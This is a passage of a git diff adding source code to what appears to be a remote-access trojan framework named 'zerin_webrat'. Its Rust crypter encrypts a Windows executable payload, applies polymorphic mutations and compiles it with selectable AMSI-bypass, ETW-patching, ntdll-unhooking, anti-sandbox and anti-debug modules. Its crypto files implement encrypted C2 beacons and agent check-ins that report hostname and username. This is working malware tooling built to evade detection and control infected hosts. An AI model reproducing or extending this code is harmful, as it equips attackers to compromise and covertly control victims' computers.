iv.into()); + // Allocate buffer with room for PKCS7 padding (up to 16 extra bytes) + let pad_len = 16 - (plaintext.len() % 16); + let mut buf = vec![0u8; plaintext.len() + pad_len]; + buf[..plaintext.len()].copy_from_slice(plaintext); + let ct = encryptor + .encrypt_padded_mut::(&mut buf, plaintext.len()) + .expect("buffer is correctly sized for PKCS7 padding"); + ct.to_vec() +} + +// ── Resolve GCC (reuse builder logic) ───────────────────────────────── + +fn resolve_gcc_path(configured_path: &str) -> Result { + if Path::new(configured_path).exists() { + return Ok(configured_path.to_string()); + } + let which_cmd = if cfg!(windows) { "where" } else { "which" }; + let which_arg = if cfg!(windows) { "gcc" } else { "x86_64-w64-mingw32-gcc" }; + let output = std::process::Command::new(which_cmd) + .arg(which_arg) + .output() + .map_err(|e| format!("Failed to find GCC: {}", e))?; + if output.status.success() { + let path = String::from_utf8_lossy(&output.stdout) + .lines() + .next() + .unwrap_or("") + .trim() + .to_string(); + if !path.is_empty() && Path::new(&path).exists() { + return Ok(path); + } + } + Err(format!("GCC not found at '{}' and PATH lookup failed", configured_path)) +} + +/// Detect GCC internal directory name ("lib" vs "libexec"). +fn detect_gcc_internal_dir(gcc_path: &str) -> String { + let mingw_root = Path::new(gcc_path) + .parent() + .and_then(|p| p.parent()) + .unwrap_or(Path::new(".")); + if mingw_root.join("libexec").join("gcc").exists() { + "libexec".to_string() + } else { + "lib".to_string() + } +} + +/// Detect GCC version directory. +fn detect_gcc_version(gcc_path: &str, internal_dir: &str) -> String { + let mingw_root = Path::new(gcc_path) + .parent() + .and_then(|p| p.parent()) + .unwrap_or(Path::new(".")); + let gcc_dir = mingw_root + .join(internal_dir) + .join("gcc") + .join("x86_64-w64-mingw32"); + if let Ok(entries) = std::fs::read_dir(&gcc_dir) { + for entry in entries.flatten() { + let name = entry.file_name().to_string_lossy().to_string(); + if name.starts_with(|c: char| c.is_ascii_digit()) { + return name; + } + } + } + "15.1.0".to_string() +} + +// ── Memory diagnostics ────────────────────────────────────────────── + +/// Read current process RSS from /proc/self/statm (Linux only). +fn rss_mb() -> f64 { + std::fs::read_to_string("/proc/self/statm") + .ok() + .and_then(|s| s.split_whitespace().nth(1)?.parse::().ok()) + .map(|pages| pages as f64 * 4.0 / 1024.0) // pages → MB + .unwrap_or(0.0) +} + +// ── Main build pipeline ─────────────────────────────────────────────── + +/// Run the crypter pipeline. Returns the compiled .exe bytes. +pub async fn crypt( + req: &CryptRequest, + stubs_dir: &Path, + gcc_configured_path: &str, + output_dir: &Path, +) -> Result, String> { + info!(rss_mb = rss_mb(), payload_bytes = req.payload.len(), "CRYPT [0] start"); + + // ── 1. Validate PE ──────────────────────────────────────────────── + if req.payload.len() > MAX_PAYLOAD_SIZE { + return Err(format!("Payload too large ({} bytes, max {} bytes)", + req.payload.len(), MAX_PAYLOAD_SIZE)); + } + if req.payload.len() < 64 { + return Err("Payload too small to be a valid PE".into()); + } + if req.payload[0] != b'M' || req.payload[1] != b'Z' { + return Err("Invalid PE: missing MZ signature".into()); + } + let pe_offset = u32::from_le_bytes([ + req.payload[0x3C], req.payload[0x3D], req.payload[0x3E], req.payload[0x3F], + ]) as usize; + if pe_offset + 4 > req.payload.len() { + return Err("Invalid PE: e_lfanew out of bounds".into()); + } + if &req.payload[pe_offset..pe_offset + 4] != b"PE\0\0" { + return Err("Invalid PE: missing PE\\0\\0 signature".into()); + } + + // ── 2. Encrypt payload ──────────────────────────────────────────── + info!(rss_mb = rss_mb(), "CRYPT [1] PE validated"); + let mut xor_key = [0u8; 32]; + let mut aes_key = [0u8; 32]; + let mut aes_iv = [0u8; 16]; + OsRng.fill_bytes(&mut xor_key); + OsRng.fill_bytes(&mut aes_key); + OsRng.fill_bytes(&mut aes_iv); + + // AES-256-CBC first, then XOR (decryption reverses: XOR first, then AES) + let aes_encrypted = aes_256_cbc_encrypt(&req.payload, &aes_key, &aes_iv); + let mut encrypted = aes_encrypted; + xor_encrypt(&mut encrypted, &xor_key); + + info!(rss_mb = rss_mb(), encrypted_len = encrypted.len(), "CRYPT [2] encrypted"); + // ── 3. Generate stub source ─────────────────────────────────────── + let build_id = uuid::Uuid::new_v4().to_string(); + let work_dir_rel = output_dir.join(format!("crypt_{}", build_id)); + fs::create_dir_all(&work_dir_rel) + .await + .map_err(|e| format!("Failed to create work dir: {}", e))?; + // Canonicalize so all paths in GCC response file are absolute + let work_dir = std::fs::canonicalize(&work_dir_rel) + .unwrap_or(work_dir_rel.to_path_buf()); + + // Copy all stub files to work dir + let stub_files = [ + "stub_main.c", "decrypt_layer.c", "decrypt_layer.h", "evasion.h", + "api_resolve.c", "api_resolve.h", + "reflective_stub.c", "shellcode_stub.c", + "evasion_anti_sandbox.c", "evasion_anti_debug.c", + "evasion_unhook.c", "evasion_amsi.c", "evasion_etw.c", "evasion_sleep.c", + ]; + for file in &stub_files { + let src = stubs_dir.join(file); + let dst = work_dir.join(file); + if src.exists() { + fs::copy(&src, &dst) + .await + .map_err(|e| format!("Failed to copy {}: {}", file, e))?; + } + } + + // Patch decrypt_layer.c with actual payload and keys + let decrypt_path = work_dir.join("decrypt_layer.c"); + let decrypt_src = fs::read_to_string(&decrypt_path) + .await + .map_err(|e| format!("Failed to read decrypt_layer.c: {}", e))? + .replace("\r\n", "\n"); // Normalize Windows line endings from stubs + + // Generate per-build key mask and XOR all keys with it + let mut key_mask = [0u8; 32]; + OsRng.fill_bytes(&mut key_mask); + + let xor_key_enc: Vec = xor_key.iter().enumerate() + .map(|(i, b)| b ^ key_mask[i % 32]).collect(); + let aes_key_enc: Vec = aes_key.iter().enumerate() + .map(|(i, b)| b ^ key_mask[i % 32]).collect(); + let aes_iv_enc: Vec = aes_iv.iter().enumerate() + .map(|(i, b)| b ^ key_mask[i % 32]).collect(); + + // Patch placeholders. We do the small ones (keys, IV, len) with .replace() + // on the small template (~1 KB) FIRST, then insert the large payload hex + // array LAST to avoid copying the multi-MB result through further replaces. + let small_patched = decrypt_src + .replace( + "/* CRYPTER_KEY_MASK_PLACEHOLDER */\nstatic const uint8_t KEY_MASK[32] = { 0 };", + &format!("static const uint8_t KEY_MASK[32] = {};", bytes_to_c_hex_array(&key_mask)), + ) + .replace( + "/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */\nstatic const uint8_t XOR_KEY_ENC[32] = { 0 };", + &format!("static const uint8_t XOR_KEY_ENC[32] = {};", bytes_to_c_hex_array(&xor_key_enc)), + ) + .replace( + "/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */\nstatic const uint8_t AES_KEY_ENC[32] = { 0 };", + &format!("static const uint8_t AES_KEY_ENC[32] = {};", bytes_to_c_hex_array(&aes_key_enc)), + ) + .replace( + "/* CRYPTER_AES_IV_ENC_PLACEHOLDER */\nstatic const uint8_t AES_IV_ENC[16] = { 0 };", + &format!("static const uint8_t AES_IV_ENC[16] = {};", bytes_to_c_hex_array(&aes_iv_enc)), + ) + .replace( + "/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */\nstatic const uint32_t PAYLOAD_LEN = 0;", + &format!("static const uint32_t PAYLOAD_LEN = {};", encrypted.len()), + ); + + // Insert the payload hex array last — build the result by splitting at the + // placeholder to avoid a full-copy .replace() on the huge string. + let payload_placeholder = "/* CRYPTER_PAYLOAD_PLACEHOLDER */\nstatic const uint8_t ENCRYPTED_PAYLOAD[] = { 0 };"; + info!(rss_mb = rss_mb(), "CRYPT [3a] small patches done"); + let payload_hex = bytes_to_c_hex_array(&encrypted); + info!(rss_mb = rss_mb(), hex_len = payload_hex.len(), "CRYPT [3b] payload hex generated"); + let patched = if let Some(pos) = small_patched.find(payload_placeholder) { + let mut result = String::with_capacity( + small_patched.len() - payload_placeholder.len() + payload_hex.len() + 50, + ); + result.push_str(&small_patched[..pos]); + result.push_str("static const uint8_t ENCRYPTED_PAYLOAD[] = "); + result.push_str(&payload_hex); + result.push(';'); + result.push_str(&small_patched[pos + payload_placeholder.len()..]); + result + } else { + // Fallback: placeholder not found (shouldn't happen) + small_patched.replace(payload_placeholder, + &format!("static const uint8_t ENCRYPTED_PAYLOAD[] = {};", payload_hex)) + }; + // Free the hex array now that it's been embedded + drop(payload_hex); + info!(rss_mb = rss_mb(), patched_len = patched.len(), "CRYPT [3c] patched file built"); + + fs::write(&decrypt_path, &patched) + .await + .map_err(|e| format!("Failed to write patched decrypt_layer.c: {}", e))?; + + // Patch evasion_sleep.c with sleep duration + if req.evasion.delayed_exec && req.sleep_seconds > 0 { + let sleep_path = work_dir.join("evasion_sleep.c"); + if let Ok(sleep_src) = fs::read_to_string(&sleep_path).await.map(|s| s.replace("\r\n", "\n")) { + let patched_sleep = sleep_src.replace( + "/* CRYPTER_SLEEP_SECONDS_PLACEHOLDER */\nstatic const uint32_t SLEEP_SECONDS = 0;", + &format!("static const uint32_t SLEEP_SECONDS = {};", req.sleep_seconds), + ); + let _ = fs::write(&sleep_path, &patched_sleep).await; + } + } + + // Reflective stub doesn't need target process patching (in-process loading) + + // ── 3b. Apply polymorphic + metamorphic mutations ────────────── + info!(rss_mb = rss_mb(), "CRYPT [4] pre-polymorph"); + let poly_extra_flags = + polymorph::mutate_sources(&work_dir, &polymorph::MutationConfig::default())?; + info!(rss_mb = rss_mb(), "CRYPT [5] post-polymorph"); + + // ── 4. Compile ──────────────────────────────────────────────────── + let gcc_path = resolve_gcc_path(gcc_configured_path)?; + let gcc_internal_dir = detect_gcc_internal_dir(&gcc_path); + let gcc_version = detect_gcc_version(&gcc_path, &gcc_internal_dir); + + let mingw_bin = Path::new(&gcc_path) + .parent() + .ok_or("Cannot determine MinGW bin dir")?; + let mingw_root = mingw_bin + .parent() + .ok_or("Cannot determine MinGW root dir")?; + + // Build source file list + let mut sources: Vec = vec![ + "stub_main.c".to_string(), + "decrypt_layer.c".to_string(), + "api_resolve.c".to_string(), + ]; + + // Add mode stub + match req.mode { + CryptMode::RunPE => sources.push("reflective_stub.c".to_string()), + CryptMode::Shellcode => sources.push("shellcode_stub.c".to_string()), + } + + // Add enabled evasion modules + if req.evasion.anti_sandbox { sources.push("evasion_anti_sandbox.c".to_string()); } + if req.evasion.anti_debug { sources.push("evasion_anti_debug.c".to_string()); } + if req.evasion.unhook_ntdll { sources.push("evasion_unhook.c".to_string()); } + if req.evasion.amsi_bypass { sources.push("evasion_amsi.c".to_string()); } + if req.evasion.etw_patch { sources.push("evasion_etw.c".to_string()); } + if req.evasion.delayed_exec { sources.push("evasion_sleep.c".to_string()); } + + let source_paths: Vec = sources + .iter() + .map(|s| work_dir.join(s).to_string_lossy().replace('\\', "/")) + .collect(); + + let output_exe = work_dir.join("crypted.exe"); + + // Build defines + let mut defines: Vec = vec![]; + match req.mode { + CryptMode::RunPE => defines.push("-DCRYPT_MODE_RUNPE".to_string()), + CryptMode::Shellcode => defines.push("-DCRYPT_MODE_SHELLCODE".to_string()), + } + if req.evasion.anti_sandbox { defines.push("-DEVASION_ANTI_SANDBOX".to_string()); } + if req.evasion.anti_debug { defines.push("-DEVASION_ANTI_DEBUG".to_string()); } + if req.evasion.unhook_ntdll { defines.push("-DEVASION_UNHOOK_NTDLL".to_string()); } + if req.evasion.amsi_bypass { defines.push("-DEVASION_AMSI_BYPASS".to_string()); } + if req.evasion.etw_patch { defines.push("-DEVASION_ETW_PATCH".to_string()); } + if req.evasion.delayed_exec { defines.push("-DEVASION_DELAYED_EXEC".to_string()); } + + // GCC tool resolution flags + let tool_prefix = format!("-B{}/{}/gcc/x86_64-w64-mingw32/{}/", + mingw_root.display().to_string().replace('\\', "/"), gcc_internal_dir, gcc_version); + let binutils_prefix = format!("-B{}/x86_64-w64-mingw32/bin/", + mingw_root.display().to_string().replace('\\', "/")); + + // Include path for stub headers + let include_flag = format!("-I{}", work_dir.to_string_lossy().replace('\\', "/")); + + // Determine optimization level: use Layer 7 override if present, else default -O2 + let opt_level = poly_extra_flags + .iter() + .find(|f| f.starts_with("-O")) + .cloned() + .unwrap_or_else(|| "-O2".to_string()); + + let mut args: Vec = vec![ + tool_prefix, + binutils_prefix, + opt_level, + "-s".to_string(), + "-mwindows".to_string(), + "-fno-stack-protector".to_string(), + "-fno-asynchronous-unwind-tables".to_string(), + include_flag, + ]; + + // Add remaining polymorphic flags (everything except -O which was already applied) + args.extend( + poly_extra_flags + .iter() + .filter(|f| !f.starts_with("-O")) + .cloned(), + ); + + args.extend(defines); + args.extend(source_paths); + args.extend([ + "-lbcrypt".to_string(), + "-lkernel32".to_string(), + "-o".to_string(), + output_exe.to_string_lossy().replace('\\', "/"), + ]); + + // Write response file + let rsp_path = work_dir.join("build.rsp"); + let rsp_content = args.iter() + .map(|a| if a.contains(' ') { format!("\"{}\"", a) } else { a.clone() }) + .collect::>() + .join("\n"); + fs::write(&rsp_path, &rsp_content) + .await + .map_err(|e| format!("Failed to write build.rsp: {}", e))?; + + // Build PATH for MinGW tools + let system_path = std::env::var("PATH").unwrap_or_default(); + let path_sep = if cfg!(windows) { ";" } else { ":" }; + let mingw_path = format!( + "{}{}{}{}{}{}{}", + mingw_bin.display(), path_sep, + mingw_root.join(&gcc_internal_dir).join("gcc").join("x86_64-w64-mingw32").join(&gcc_version).display(), path_sep, + mingw_root.join("x86_64-w64-mingw32").join("bin").display(), path_sep, + system_path + ); + + info!(rss_mb = rss_mb(), "CRYPT [6] pre-GCC"); + // Use absolute path for the response file so it works regardless of CWD + let rsp_abs = std::fs::canonicalize(&rsp_path) + .unwrap_or_else(|_| rsp_path.clone()) + .to_string_lossy() + .replace('\\', "/"); + let mut cmd = tokio::process::Command::new(&gcc_path); + cmd.arg(&format!("@{}", rsp_abs)); + cmd.current_dir(mingw_bin); + cmd.env("PATH", &mingw_path); + + let output = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + cmd.output(), + ) + .await + .map_err(|_| format!("Crypter compilation timed out after {}s", GCC_TIMEOUT_SECS))? + .map_err(|e| format!("Failed to execute GCC: {}", e))?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr); + error!(build_id = %build_id, stderr = %stderr, "Crypter compilation failed"); + // Clean up + let _ = fs::remove_dir_all(&work_dir).await; + return Err(format!("Compilation failed: {}", stderr)); + } + + info!(rss_mb = rss_mb(), "CRYPT [7] post-GCC"); + // ── 5. Read output and clean up ─────────────────────────────────── + let exe_bytes = fs::read(&output_exe) + .await + .map_err(|e| format!("Failed to read compiled exe: {}", e))?; + + info!(build_id = %build_id, size = exe_bytes.len(), "Crypter build completed"); + + // Clean up work directory + let _ = fs::remove_dir_all(&work_dir).await; + + Ok(exe_bytes) +} diff --git a/src/crypto/aead.c b/src/crypto/aead.c new file mode 100755 index 0000000..a5bfaa4 --- /dev/null +++ b/src/crypto/aead.c @@ -0,0 +1,132 @@ +#include "crypto.h" +#include +#include + +// ChaCha20-Poly1305 AEAD per RFC 8439 Section 2.8 + +static void store_le64(uint8_t *p, uint64_t v) { + p[0] = (uint8_t)(v); + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); + p[4] = (uint8_t)(v >> 32); + p[5] = (uint8_t)(v >> 40); + p[6] = (uint8_t)(v >> 48); + p[7] = (uint8_t)(v >> 56); +} + +// Generate Poly1305 one-time key from ChaCha20 (counter=0) +static void generate_poly_key(const uint8_t key[32], const uint8_t nonce[12], + uint8_t poly_key[32]) { + chacha20_ctx_t ctx; + uint8_t zeros[64]; + uint8_t block[64]; + + memset(zeros, 0, 64); + chacha20_init(&ctx, key, nonce, 0); + chacha20_encrypt(&ctx, zeros, block, 64); + memcpy(poly_key, block, 32); + + secure_zero(block, 64); + secure_zero(&ctx, sizeof(ctx)); +} + +// Pad to 16-byte boundary +static void poly1305_pad16(poly1305_ctx_t *ctx, size_t len) { + size_t rem = len % 16; + if (rem > 0) { + uint8_t zeros[16]; + memset(zeros, 0, 16); + poly1305_update(ctx, zeros, 16 - rem); + } +} + +int aead_encrypt(const uint8_t key[32], const uint8_t nonce[12], + const uint8_t *aad, size_t aad_len, + const uint8_t *plaintext, size_t plaintext_len, + uint8_t *out) { + // Step 1: Generate Poly1305 one-time key + uint8_t poly_key[32]; + generate_poly_key(key, nonce, poly_key); + + // Step 2: Encrypt plaintext with ChaCha20 (counter=1) + chacha20_ctx_t chacha; + chacha20_init(&chacha, key, nonce, 1); + chacha20_encrypt(&chacha, plaintext, out, plaintext_len); + + // Step 3: Compute Poly1305 tag over AAD + ciphertext + poly1305_ctx_t poly; + poly1305_init(&poly, poly_key); + + // AAD + if (aad && aad_len > 0) + poly1305_update(&poly, aad, aad_len); + poly1305_pad16(&poly, aad_len); + + // Ciphertext + poly1305_update(&poly, out, plaintext_len); + poly1305_pad16(&poly, plaintext_len); + + // Lengths (little-endian 64-bit) + uint8_t len_block[16]; + store_le64(len_block, aad_len); + store_le64(len_block + 8, plaintext_len); + poly1305_update(&poly, len_block, 16); + + // Tag appended after ciphertext + poly1305_final(&poly, out + plaintext_len); + + secure_zero(poly_key, 32); + secure_zero(&chacha, sizeof(chacha)); + return 0; +} + +int aead_decrypt(const uint8_t key[32], const uint8_t nonce[12], + const uint8_t *aad, size_t aad_len, + const uint8_t *ciphertext, size_t ciphertext_len, + uint8_t *out) { + if (ciphertext_len < CRYPTO_TAG_SIZE) return -1; + + size_t plaintext_len = ciphertext_len - CRYPTO_TAG_SIZE; + const uint8_t *tag = ciphertext + plaintext_len; + + // Step 1: Generate Poly1305 one-time key + uint8_t poly_key[32]; + generate_poly_key(key, nonce, poly_key); + + // Step 2: Verify tag + poly1305_ctx_t poly; + poly1305_init(&poly, poly_key); + + if (aad && aad_len > 0) + poly1305_update(&poly, aad, aad_len); + poly1305_pad16(&poly, aad_len); + + poly1305_update(&poly, ciphertext, plaintext_len); + poly1305_pad16(&poly, plaintext_len); + + uint8_t len_block[16]; + store_le64(len_block, aad_len); + store_le64(len_block + 8, plaintext_len); + poly1305_update(&poly, len_block, 16); + + uint8_t computed_tag[16]; + poly1305_final(&poly, computed_tag); + + // Constant-time comparison + if (constant_time_compare(computed_tag, tag, 16) != 0) { + secure_zero(poly_key, 32); + secure_zero(computed_tag, 16); + return -1; // Authentication failed + } + + // Step 3: Decrypt + chacha20_ctx_t chacha; + chacha20_init(&chacha, key, nonce, 1); + chacha20_encrypt(&chacha, ciphertext, out, plaintext_len); + + secure_zero(poly_key, 32); + secure_zero(computed_tag, 16); + secure_zero(&chacha, sizeof(chacha)); + return 0; +} diff --git a/src/crypto/aead.rs b/src/crypto/aead.rs new file mode 100755 index 0000000..838302a --- /dev/null +++ b/src/crypto/aead.rs @@ -0,0 +1,78 @@ +use chacha20poly1305::{ + aead::{Aead, KeyInit}, + ChaCha20Poly1305, Key, Nonce, +}; +use rand::RngCore; + +/// AEAD encryption error. +#[derive(Debug, thiserror::Error)] +pub enum AeadError { + #[error("encryption failed")] + EncryptionFailed, + #[error("decryption failed — invalid key, nonce, or corrupted ciphertext")] + DecryptionFailed, + #[error("invalid key length (expected 32 bytes, got {0})")] + InvalidKeyLength(usize), + #[error("invalid nonce length (expected 12 bytes, got {0})")] + InvalidNonceLength(usize), +} + +/// Encrypt `plaintext` with ChaCha20-Poly1305 using the given 32-byte key. +/// Returns `(ciphertext, nonce)`. The nonce is randomly generated. +/// +/// # Nonce collision risk +/// ChaCha20-Poly1305 uses a 96-bit (12-byte) random nonce. Birthday-bound +/// collision probability reaches ~1% after ~2^48 encryptions under the same +/// key. In practice this is safe for typical C2 traffic volumes (millions of +/// beacons), but for extremely high-volume deployments consider migrating to +/// XChaCha20-Poly1305 which uses a 192-bit nonce (birthday bound ~2^96). +pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<(Vec, Vec), AeadError> { + let cipher = ChaCha20Poly1305::new(Key::from_slice(key)); + + // Random nonce — see doc comment above regarding collision risk. + let mut nonce_bytes = [0u8; 12]; + rand::thread_rng().fill_bytes(&mut nonce_bytes); + let nonce = Nonce::from_slice(&nonce_bytes); + + let ciphertext = cipher + .encrypt(nonce, plaintext) + .map_err(|_| AeadError::EncryptionFailed)?; + + Ok((ciphertext, nonce_bytes.to_vec())) +} + +/// Decrypt `ciphertext` with ChaCha20-Poly1305 using the given key and nonce. +pub fn decrypt(key: &[u8; 32], nonce_bytes: &[u8], ciphertext: &[u8]) -> Result, AeadError> { + if nonce_bytes.len() != 12 { + return Err(AeadError::InvalidNonceLength(nonce_bytes.len())); + } + + let cipher = ChaCha20Poly1305::new(Key::from_slice(key)); + let nonce = Nonce::from_slice(nonce_bytes); + + cipher + .decrypt(nonce, ciphertext) + .map_err(|_| AeadError::DecryptionFailed) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_roundtrip() { + let key = [0x42u8; 32]; + let plaintext = b"hello zerin"; + let (ct, nonce) = encrypt(&key, plaintext).unwrap(); + let pt = decrypt(&key, &nonce, &ct).unwrap(); + assert_eq!(pt, plaintext); + } + + #[test] + fn test_wrong_key() { + let key = [0x42u8; 32]; + let wrong_key = [0x43u8; 32]; + let (ct, nonce) = encrypt(&key, b"secret").unwrap(); + assert!(decrypt(&wrong_key, &nonce, &ct).is_err()); + } +} diff --git a/src/crypto/chacha20.c b/src/crypto/chacha20.c new file mode 100755 index 0000000..f4e94f4 --- /dev/null +++ b/src/crypto/chacha20.c @@ -0,0 +1,90 @@ +#include "crypto.h" +#include + +// ChaCha20 per RFC 8439 + +#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n)))) + +#define QR(a, b, c, d) do { \ + a += b; d ^= a; d = ROTL32(d, 16); \ + c += d; b ^= c; b = ROTL32(b, 12); \ + a += b; d ^= a; d = ROTL32(d, 8); \ + c += d; b ^= c; b = ROTL32(b, 7); \ +} while(0) + +static uint32_t load_le32(const uint8_t *p) { + return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) | + ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); +} + +static void store_le32(uint8_t *p, uint32_t v) { + p[0] = (uint8_t)(v); + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +void chacha20_init(chacha20_ctx_t *ctx, const uint8_t key[32], + const uint8_t nonce[12], uint32_t counter) { + // "expand 32-byte k" + ctx->state[0] = 0x61707865; + ctx->state[1] = 0x3320646e; + ctx->state[2] = 0x79622d32; + ctx->state[3] = 0x6b206574; + + // Key + for (int i = 0; i < 8; i++) + ctx->state[4 + i] = load_le32(key + i * 4); + + // Counter + ctx->state[12] = counter; + + // Nonce + ctx->state[13] = load_le32(nonce); + ctx->state[14] = load_le32(nonce + 4); + ctx->state[15] = load_le32(nonce + 8); +} + +static void chacha20_block(const uint32_t input[16], uint8_t output[64]) { + uint32_t x[16]; + memcpy(x, input, 64); + + // 20 rounds (10 double rounds) + for (int i = 0; i < 10; i++) { + // Column rounds + QR(x[0], x[4], x[ 8], x[12]); + QR(x[1], x[5], x[ 9], x[13]); + QR(x[2], x[6], x[10], x[14]); + QR(x[3], x[7], x[11], x[15]); + // Diagonal rounds + QR(x[0], x[5], x[10], x[15]); + QR(x[1], x[6], x[11], x[12]); + QR(x[2], x[7], x[ 8], x[13]); + QR(x[3], x[4], x[ 9], x[14]); + } + + // Add original state + for (int i = 0; i < 16; i++) + store_le32(output + i * 4, x[i] + input[i]); +} + +void chacha20_encrypt(chacha20_ctx_t *ctx, const uint8_t *in, + uint8_t *out, size_t len) { + uint8_t block[64]; + size_t offset = 0; + + while (offset < len) { + chacha20_block(ctx->state, block); + ctx->state[12]++; // Increment counter + + size_t chunk = len - offset; + if (chunk > 64) chunk = 64; + + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ block[i]; + + offset += chunk; + } + + secure_zero(block, 64); +} diff --git a/src/crypto/exchange.rs b/src/crypto/exchange.rs new file mode 100755 index 0000000..be1a5b1 --- /dev/null +++ b/src/crypto/exchange.rs @@ -0,0 +1,74 @@ +use tracing::info; +use x25519_dalek::PublicKey; + +use super::aead; +use super::kdf::derive_session_key; +use super::keys::ServerKeyPair; +use crate::protocol::CheckIn; +use crate::wire; + +/// Error during key exchange. +#[derive(Debug, thiserror::Error)] +pub enum ExchangeError { + #[error("invalid ephemeral public key length: {0}")] + InvalidPubkeyLength(usize), + #[error("failed to decrypt checkin data: {0}")] + DecryptionFailed(#[from] aead::AeadError), + #[error("failed to deserialize checkin: {0}")] + WireFormatError(#[from] wire::WireError), + #[error("encryption of response failed: {0}")] + EncryptionFailed(aead::AeadError), +} + +/// Result of a successful key exchange. +pub struct ExchangeResult { + pub session_key: [u8; 32], + pub checkin: CheckIn, + /// Encrypted ack payload + nonce + server pubkey for the response. + pub encrypted_ack: Vec, + pub ack_nonce: Vec, + pub server_pubkey: Vec, +} + +/// Perform the server side of the X25519 key exchange. +pub fn perform_key_exchange( + server_keypair: &ServerKeyPair, + exchange: &wire::ParsedKeyExchange, +) -> Result { + if exchange.ephemeral_pubkey.len() != 32 { + return Err(ExchangeError::InvalidPubkeyLength( + exchange.ephemeral_pubkey.len(), + )); + } + let mut ephem_bytes = [0u8; 32]; + ephem_bytes.copy_from_slice(&exchange.ephemeral_pubkey); + let agent_ephemeral = PublicKey::from(ephem_bytes); + + let shared_secret = server_keypair.private_key.diffie_hellman(&agent_ephemeral); + info!("ECDH completed for key exchange"); + + let session_key = derive_session_key(shared_secret.as_bytes()); + + let checkin_bytes = + aead::decrypt(&session_key, &exchange.nonce, &exchange.encrypted_checkin)?; + let checkin = wire::parse_checkin(&checkin_bytes)?; + info!( + agent_id = %checkin.agent_id, + hostname = %checkin.hostname, + username = %checkin.username, + "Decrypted agent check-in during key exchange" + ); + + // Encrypt a simple ack for the response (agent currently ignores this). + let ack = b"ok"; + let (encrypted_ack, ack_nonce) = + aead::encrypt(&session_key, ack).map_err(ExchangeError::EncryptionFailed)?; + + Ok(ExchangeResult { + session_key, + checkin, + encrypted_ack, + ack_nonce, + server_pubkey: server_keypair.pubkey_bytes().to_vec(), + }) +} diff --git a/src/crypto/hkdf.c b/src/crypto/hkdf.c new file mode 100755 index 0000000..6a95321 --- /dev/null +++ b/src/crypto/hkdf.c @@ -0,0 +1,78 @@ +#include "crypto.h" +#include + +// HKDF-Extract: PRK = HMAC-SHA256(salt, IKM) +int hkdf_extract(const uint8_t *salt, size_t salt_len, + const uint8_t *ikm, size_t ikm_len, + uint8_t prk[32]) { + // If no salt, use a string of zeros + uint8_t zero_salt[32]; + if (salt == NULL || salt_len == 0) { + memset(zero_salt, 0, 32); + salt = zero_salt; + salt_len = 32; + } + hmac_sha256(salt, salt_len, ikm, ikm_len, prk); + return 0; +} + +// HKDF-Expand: OKM = T(1) || T(2) || ... truncated to okm_len +// T(i) = HMAC-SHA256(PRK, T(i-1) || info || i) +int hkdf_expand(const uint8_t prk[32], + const uint8_t *info, size_t info_len, + uint8_t *okm, size_t okm_len) { + if (info_len > 256) return -1; + if (okm_len > 255 * 32) return -1; + + uint8_t T[32]; + uint8_t block[32 + 256 + 1]; // prev_T + info + counter + size_t T_len = 0; + size_t offset = 0; + uint8_t counter = 1; + + while (offset < okm_len) { + size_t block_len = 0; + + // T(i-1) + if (T_len > 0) { + memcpy(block, T, T_len); + block_len += T_len; + } + + // info + if (info != NULL && info_len > 0) { + memcpy(block + block_len, info, info_len); + block_len += info_len; + } + + // counter byte + block[block_len++] = counter; + + hmac_sha256(prk, 32, block, block_len, T); + T_len = 32; + + size_t to_copy = okm_len - offset; + if (to_copy > 32) to_copy = 32; + memcpy(okm + offset, T, to_copy); + offset += to_copy; + counter++; + } + + secure_zero(T, 32); + secure_zero(block, sizeof(block)); + return 0; +} + +// Combined HKDF: Extract then Expand +int hkdf_derive(const uint8_t *salt, size_t salt_len, + const uint8_t *ikm, size_t ikm_len, + const uint8_t *info, size_t info_len, + uint8_t *okm, size_t okm_len) { + uint8_t prk[32]; + int ret = hkdf_extract(salt, salt_len, ikm, ikm_len, prk); + if (ret != 0) return ret; + + ret = hkdf_expand(prk, info, info_len, okm, okm_len); + secure_zero(prk, 32); + return ret; +} diff --git a/src/crypto/kdf.rs b/src/crypto/kdf.rs new file mode 100755 index 0000000..59dac90 --- /dev/null +++ b/src/crypto/kdf.rs @@ -0,0 +1,40 @@ +use hkdf::Hkdf; +use sha2::Sha256; + +const SESSION_INFO: &[u8] = b"zerin_session_v1"; +/// Fixed application-level salt for HKDF. Using a non-secret, fixed salt is +/// better than `None` — it domain-separates Zerin's KDF from other +/// applications that might use the same shared secret material. +const HKDF_SALT: &[u8] = b"zerin_webrat_hkdf_salt_v1"; + +/// Derive a 32-byte session key from a shared secret using HKDF-SHA256. +/// +/// The `info` context string is `zerin_session_v1` to domain-separate +/// from any other keys we might derive in the future. +pub fn derive_session_key(shared_secret: &[u8]) -> [u8; 32] { + let hk = Hkdf::::new(Some(HKDF_SALT), shared_secret); + let mut session_key = [0u8; 32]; + hk.expand(SESSION_INFO, &mut session_key) + .expect("HKDF expand should never fail for 32-byte output"); + session_key +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_derive_deterministic() { + let secret = [0xABu8; 32]; + let k1 = derive_session_key(&secret); + let k2 = derive_session_key(&secret); + assert_eq!(k1, k2); + } + + #[test] + fn test_derive_different_inputs() { + let k1 = derive_session_key(&[0x01; 32]); + let k2 = derive_session_key(&[0x02; 32]); + assert_ne!(k1, k2); + } +} diff --git a/src/crypto/keys.c b/src/crypto/keys.c new file mode 100755 index 0000000..9ffbd22 --- /dev/null +++ b/src/crypto/keys.c @@ -0,0 +1,66 @@ +#include "zerin.h" +#include + +static const char *KDF_INFO = "zerin_session_v1"; +static const uint8_t HKDF_SALT[] = "zerin_webrat_hkdf_salt_v1"; + +int 